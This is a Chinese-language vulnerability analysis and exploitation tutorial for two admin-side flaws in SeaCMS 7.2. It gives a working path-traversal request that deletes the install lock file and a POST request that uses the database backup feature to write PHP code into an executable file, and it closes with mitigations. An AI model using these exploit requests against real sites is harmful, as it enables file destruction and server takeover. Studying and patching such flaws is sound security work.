某cms7.2-任意文件删除&Getshell(后台篇)
字数 940 2025-08-29 08:31:41

SeaCMS 7.2 后台漏洞分析与利用教学文档

0x01 漏洞概述

SeaCMS 7.2 存在两个重要的后台漏洞:

  1. 任意文件删除漏洞
  2. 数据库备份Getshell漏洞

这两个漏洞都需要管理员权限才能利用,属于后台漏洞。

0x02 环境准备

版本确认

  • 版本文件路径:/data/admin/ver.txt
  • 访问方式:http://host.com/data/admin/ver.txt

后台目录确认

SeaCMS安装时会随机生成后台目录名,通过分析/install/index.php中的代码可知:

function randomkeys($length) {
    $pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';
    for($i=0;$i<$length;$i++) {
        $key .= $pattern{mt_rand(0,35)};
    }
    return $key;
}
$newadminname=randomkeys(6);
$jpath='../admin';
$xpath='../'.$newadminname;
$cadmin=rename($jpath,$xpath);

后台目录为6位随机字符串,可通过爆破方式获取。

0x03 任意文件删除漏洞

漏洞位置

admin_template.php文件中的删除功能

漏洞分析

关键代码片段:

elseif($action=='del'){
    if($filedir==''){
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
        exit();
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目录不存在!","admin_template.php");
        exit();
    }
    unlink($filedir);
    ShowMsg("操作成功!","admin_template.php?path=".$folder);
    exit();
}

漏洞点:

  1. 仅检查路径前11位是否为../templets
  2. 未对文件后缀进行限制
  3. 可通过路径遍历删除上级目录文件

漏洞利用POC

删除install_lock.txt文件:

GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/install/install_lock.txt HTTP/1.1
Host: 127.0.0.1

0x04 数据库备份Getshell漏洞

漏洞位置

ebak/phomebak.php文件中的数据库备份功能

漏洞分析

  1. 数据库备份文件以.php后缀保存
  2. 备份时会包含表数据
  3. 可通过修改表内容插入恶意代码

漏洞利用步骤

  1. 修改数据库表内容,插入PHP代码
  2. 通过备份功能将表数据导出为PHP文件
  3. 访问备份文件执行代码

漏洞利用POC

POST请求示例:

POST /qdybap/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&...&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

关键点:

  • tablename[]参数中包含phpinfo()等恶意代码
  • 需要包含所有表名,否则可能导致500错误

0x05 防御措施

针对任意文件删除漏洞

  1. 严格限制可删除的目录范围
  2. 增加文件后缀白名单检查
  3. 对路径进行规范化处理,防止目录遍历

针对数据库备份Getshell漏洞

  1. 对备份文件内容进行过滤,去除PHP代码
  2. 使用非可执行后缀(如.sql)保存备份文件
  3. 对备份文件名进行严格校验

0x06 总结

SeaCMS 7.2后台存在两个高危漏洞:

  1. 任意文件删除漏洞可导致系统关键文件被删除
  2. 数据库备份功能可被用于写入Webshell

这两个漏洞都需要管理员权限,但一旦获取管理员权限,攻击者可以完全控制网站服务器。建议用户升级到最新版本,或按照上述防御措施进行修复。

SeaCMS 7.2 后台漏洞分析与利用教学文档 0x01 漏洞概述 SeaCMS 7.2 存在两个重要的后台漏洞: 任意文件删除漏洞 数据库备份Getshell漏洞 这两个漏洞都需要管理员权限才能利用,属于后台漏洞。 0x02 环境准备 版本确认 版本文件路径: /data/admin/ver.txt 访问方式: http://host.com/data/admin/ver.txt 后台目录确认 SeaCMS安装时会随机生成后台目录名,通过分析 /install/index.php 中的代码可知: 后台目录为6位随机字符串,可通过爆破方式获取。 0x03 任意文件删除漏洞 漏洞位置 admin_template.php 文件中的删除功能 漏洞分析 关键代码片段: 漏洞点: 仅检查路径前11位是否为 ../templets 未对文件后缀进行限制 可通过路径遍历删除上级目录文件 漏洞利用POC 删除 install_lock.txt 文件: 0x04 数据库备份Getshell漏洞 漏洞位置 ebak/phomebak.php 文件中的数据库备份功能 漏洞分析 数据库备份文件以 .php 后缀保存 备份时会包含表数据 可通过修改表内容插入恶意代码 漏洞利用步骤 修改数据库表内容,插入PHP代码 通过备份功能将表数据导出为PHP文件 访问备份文件执行代码 漏洞利用POC POST请求示例: 关键点: tablename[] 参数中包含 phpinfo() 等恶意代码 需要包含所有表名,否则可能导致500错误 0x05 防御措施 针对任意文件删除漏洞 严格限制可删除的目录范围 增加文件后缀白名单检查 对路径进行规范化处理,防止目录遍历 针对数据库备份Getshell漏洞 对备份文件内容进行过滤,去除PHP代码 使用非可执行后缀(如.sql)保存备份文件 对备份文件名进行严格校验 0x06 总结 SeaCMS 7.2后台存在两个高危漏洞: 任意文件删除漏洞可导致系统关键文件被删除 数据库备份功能可被用于写入Webshell 这两个漏洞都需要管理员权限,但一旦获取管理员权限,攻击者可以完全控制网站服务器。建议用户升级到最新版本,或按照上述防御措施进行修复。